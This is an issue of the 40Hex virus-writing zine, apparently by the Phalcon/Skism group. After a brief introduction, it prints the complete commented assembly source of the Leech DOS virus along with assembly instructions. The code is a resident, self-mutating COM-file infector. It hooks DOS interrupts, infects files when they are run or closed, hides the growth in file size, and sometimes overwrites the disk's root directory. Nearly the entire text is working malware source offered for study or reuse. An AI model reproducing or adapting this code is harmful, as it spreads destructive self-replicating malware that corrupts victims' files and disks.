Copy Link
Add to Bookmark
Report
40Hex Issue 11 File 005
40Hex Issue 11 Volume 3 Number 2 File 005
Virus Spotlight on: Leech
This month's virus is a Bulgarian creation known as Leech. It is mildly
polymorphic, implementing a simple code swapping algorithm. It infects on
file executes and file closes. The infections upon file closes is especially
noteworthy; look closely at the manipulation of the system file table (and see
the related article in this issue of 40Hex for more details). This resident,
COM-specific infector also hides file length increases, although the stupid
CHKDSK error will occur.
-- Dark Angel
Phalcon/Skism
-------------------------------------------------------------------------------
.model tiny
.code
org 0
; Leech virus
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m Leech.asm
virlength = (readbuffer - leech)
reslength = (((encrypted_file - leech + 15) / 16) + 2)
leech:
jmp short enter_leech
filesize dw offset carrier
oldint21 dw 0, 0
oldint13 dw 0, 0
oldint24 dw 0, 0
datestore dw 0
timestore dw 0
runningflag db 1
evenodd dw 0
enter_leech:
call next
next:
pop si
mutatearea1:
cli
push ds ; Why?
pop es
mov bp,sp ; save sp
mov sp,si ; sp = offset next
add sp,encrypt_value1 - 1 - next
mutatearea2:
mov cx,ss ; save ss
mov ax,cs
mov ss,ax ; ss = PSP
pop bx ; get encryption value
dec sp
dec sp
add si,startencrypt - next
nop
decrypt:
mutatearea3:
pop ax
xor al,bh ; decrypt away!
push ax
dec sp
cmp sp,si
jae decrypt
startencrypt:
mov ax,es
dec ax
mov ds,ax ; ds->MCB
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
dw 0 - reslength
mov bx,ds:[3] ; bx = memory size
mov byte ptr ds:[0],'Z' ; mark end of chain
inc ax ; ax->PSP
inc bx
add bx,ax ; bx->high area
mov es,bx ; as does es
mov ss,cx ; restore ss
add si,leech - startencrypt
mov bx,ds ; save MCB segment
mov ds,ax
mov sp,bp ; restore sp
push si
xor di,di
mov cx,virlength ; 1024 bytes
cld
rep movsb
pop si
push bx
mov bx,offset highentry
push es
push bx
retf ; jmp to highentry in
; high memory
highentry:
mov es,ax ; es->PSP
mov ax,cs:filesize
add ax,100h ; find stored area
mov di,si
mov si,ax
mov cx,virlength
rep movsb ; and restore over virus code
pop es ; MCB
xor ax,ax
mov ds,ax ; ds->interrupt table
sti
cmp word ptr ds:21h*4,offset int21 ; already resident?
jne go_resident
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
dw 0 - reslength ; alter memory size
test byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
jnz exit_virus
push cs
pop ds
mov si,offset message
display_loop: ; display ASCIIZ string
lodsb ; get next character
or al,0 ; exit if 0
jz exit_display_loop
mov ah,0Eh ; otherwise write character
int 10h
jmp short display_loop
exit_display_loop:
mov ah,32h ; Get DPB -> DS:BX
xor dl,dl
int 21h
jc exit_virus ; exit on error
call getint13and24
call setint13and24
mov dx,[bx+10h] ; first sector of root
; directory
; BUG: won't work in DOS 4+
mov ah,19h ; default drive -> al
int 21h
mov cx,2 ; overwrite root directory
int 26h
pop bx
call setint13and24 ; restore int handlers
exit_virus:
jmp returnCOM
go_resident:
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
dw 0 - reslength ; alter top of memory in PSP
mov bx,ds:46Ch ; BX = random #
push ds
push cs
pop ds
push cs
pop es
mov runningflag,1 ; reset flag
and bh,80h
mov nothing1,bh
mutate1:
test bl,1
jnz mutate2
mov si,offset mutatearea1
add si,evenodd
lodsb
xchg al,[si] ; swap instructions
mov [si-1],al
mutate2:
test bl,2
jnz mutate3
mov si,offset mutatearea2
add si,evenodd
lodsw
xchg ax,[si] ; swap instructions
mov [si-2],ax
mutate3:
test bl,4
jnz mutate4
mov si,offset mutatearea3
mov al,2
xor [si],al ; flip between ax & dx
xor [si+2],al
xor [si+3],al
mutate4:
test bl,8
jnz findint21
mov si,offset next
mov di,offset readbuffer
mov cx,offset enter_leech
push si
push di
lodsb
cmp al,5Eh ; 1 byte pop si?
je now_single_byte_encode
inc si ; skip second byte of two
; byte encoding of pop si
now_single_byte_encode:
push cx
rep movsb
pop cx
pop si
pop di
cmp al,5Eh ; 1 byte pop si?
je encode_two_bytes ; then change to 2
mov al,5Eh ; encode a pop si
stosb
rep movsb ; then copy decrypt over
mov al,90h ; plus a nop to keep virus
stosb ; length constant
xor ax,ax ; clear the flag
jmp short set_evenodd_flag
encode_two_bytes:
mov ax,0C68Fh ; encode a two byte form of
stosw ; pop si
rep movsb
mov ax,1 ; set evenodd flag
set_evenodd_flag:
mov cs:evenodd,ax
findint21:
mov ah,30h ; Get DOS version
int 21h
cmp ax,1E03h ; DOS 3.30?
jne notDOS33
mov ah,34h ; Get DOS critical error ptr
int 21h
mov bx,1460h ; int 21h starts here
jmp short alterint21
notDOS33:
mov ax,3521h ; just get current int 21 handler
int 21h
alterint21:
mov oldint21,bx
mov word ptr ds:oldint21+2,es
mov si,21h*4 ; save old int 21 handler
pop ds ; found in interrupt table
push si
push cs
pop es
mov di,offset topint21
movsw
movsw
pop di ; and put new one in
push ds
pop es
mov ax,offset int21
stosw
mov ax,cs
stosw
mov di,offset startencrypt
mov al,cs:encrypt_value1 ; decrypt original program code
decryptcode:
xor cs:[di],al
inc di
cmp di,offset decryptcode
jb decryptcode
returnCOM:
mov ah,62h ; Get current PSP
int 21h
push bx ; restore segment registers
mov ds,bx
mov es,bx
mov ax,100h
push ax
retf ; Return to PSP:100h
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx ; go to start of file
call movefilepointer
mov dx,offset readbuffer ; and read 3 bytes
mov ah,3Fh
mov cx,3
call callint21
jc exiterror
xor di,di
mov ax,readbuffer
mov cx,word ptr ds:[0]
cmp cx,ax ; check if already infected
je go_exitinfect
cmp al,0EBh ; jmp short?
jne checkifJMP
mov al,ah
xor ah,ah
add ax,2
mov di,ax ; di = jmp location
checkifJMP:
cmp al,0E9h ; jmp?
jne checkifEXE ; nope
mov ax,word ptr readbuffer+1
add ax,3
mov di,ax ; di = jmp location
xor ax,ax
checkifEXE:
cmp ax,'MZ'
je exiterror
cmp ax,'ZM'
jne continue_infect
exiterror:
stc
go_exitinfect:
jmp short exitinfect
nop
continue_infect:
mov dx,di
push cx
call movefilepointer ; go to jmp location
mov dx,virlength ; and read 1024 more bytes
mov ah,3Fh
mov cx,dx
call callint21
pop cx
jc exiterror
cmp readbuffer,cx
je go_exitinfect
mov ax,di
sub ah,0FCh
cmp ax,filesize
jae exiterror
mov dx,filesize
call movefilepointer
mov dx,virlength ; write virus to middle
mov cx,dx ; of file
mov ah,40h
call callint21
jc exitinfect
mov dx,di
call movefilepointer
push cs
pop es
mov di,offset readbuffer
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,offset encrypt_value2
mov al,encrypted_file
encryptfile: ; encrypt infected file
xor [si],al
inc si
cmp si,7FFh
jb encryptfile
pop cx
pop dx
mov ah,40h ; and write it to end of file
call callint21
exitinfect:
pop di
pop es
pop ds
pop si
retn
int21:
cmp ax,4B00h ; Execute?
je execute
cmp ah,3Eh ; Close?
je handleclose
cmp ah,11h ; Find first?
je findfirstnext
cmp ah,12h ; Find next?
je findfirstnext
exitint21:
db 0EAh ; jmp far ptr
topint21 dw 0, 0
findfirstnext:
push si
mov si,offset topint21
pushf
call dword ptr cs:[si] ; call int 21 handler
pop si
push ax
push bx
push es
mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
jne noextendedFCB
add bx,7 ; convert to normal
noextendedFCB:
mov ax,es:[bx+17h] ; Get time
and ax,1Fh ; and check infection stamp
cmp ax,1Eh
jne exitfindfirstnext
mov ax,es:[bx+1Dh]
cmp ax,virlength * 2 + 1 ; too small for infection?
jb exitfindfirstnext ; then not infected
sub ax,virlength ; alter file size
mov es:[bx+1Dh],ax
exitfindfirstnext:
pop es
pop bx
pop ax
iret
int24:
mov al,3
iret
callint21:
pushf
call dword ptr cs:oldint21
retn
movefilepointer:
xor cx,cx
mov ax,4200h
call callint21
retn
execute:
push ax
push bx
mov cs:runningflag,0
mov ax,3D00h ; open file read/only
call callint21
mov bx,ax
mov ah,3Eh ; close file
int 21h ; to trigger infection
pop bx
pop ax
go_exitint21:
jmp short exitint21
handleclose:
or cs:runningflag,0 ; virus currently active?
jnz go_exitint21
push cx
push dx
push di
push es
push ax
push bx
call getint13and24
call setint13and24
; convert handle to filename
mov ax,1220h ; get job file table entry
int 2Fh
jc handleclose_noinfect ; exit on error
mov ax,1216h ; get address of SFT
mov bl,es:[di]
xor bh,bh
int 2Fh ; es:di->file entry in SFT
mov ax,es:[di+11h]
mov cs:filesize,ax ; save file size,
mov ax,es:[di+0Dh]
and al,0F8h
mov cs:timestore,ax ; time,
mov ax,es:[di+0Fh]
mov cs:datestore,ax ; and date
cmp word ptr es:[di+29h],'MO' ; check for COM extension
jne handleclose_noinfect
cmp byte ptr es:[di+28h],'C'
jne handleclose_noinfect
cmp cs:filesize,0FA00h ; make sure not too large
jae handleclose_noinfect
mov al,20h ; alter file attribute
xchg al,es:[di+4]
mov ah,2 ; alter open mode to read/write
xchg ah,es:[di+2]
pop bx
push bx
push ax
call infect
pop ax
mov es:[di+4],al ; restore file attribute
mov es:[di+2],ah ; and open mode
mov cx,cs:timestore
jc infection_not_successful
or cl,1Fh ; make file infected in
and cl,0FEh ; seconds field
infection_not_successful:
mov dx,cs:datestore ; restore file time/date
mov ax,5701h
call callint21
handleclose_noinfect:
pop bx
pop ax
pop es
pop di
pop dx
pop cx
call callint21
call setint13and24
retf 2 ; exit with flags intact
getint13and24:
mov ah,13h ; Get BIOS int 13h handler
int 2Fh
mov cs:oldint13,bx
mov cs:oldint13+2,es
int 2Fh ; Restore it
mov cs:oldint24,offset int24
mov cs:oldint24+2,cs
retn
setint13and24:
push ax
push si
push ds
pushf
cli
cld
xor ax,ax
mov ds,ax ; ds->interrupt table
mov si,13h*4
lodsw
xchg ax,cs:oldint13 ; replace old int 13 handler
mov [si-2],ax ; with original BIOS handler
lodsw
xchg ax,cs:oldint13+2
mov [si-2],ax
mov si,24h*4 ; replace old int 24 handler
lodsw ; with our own handler
xchg ax,cs:oldint24
mov [si-2],ax
lodsw
xchg ax,cs:oldint24+2
mov [si-2],ax
popf
pop ds
pop si
pop ax
retn
message db 'The leech live ...', 0
db 'April 1991 The Topler.'
db 0, 0, 0, 0, 0
encrypt_value1 db 0
readbuffer dw 0
db 253 dup (0)
nothing1 db 0
db 152 dup (0)
encrypt_value2 db 0
db 614 dup (0)
encrypted_file db 0
db 1280 dup (0)
carrier:
dw 20CDh
end leech
-------------------------------------------------------------------------------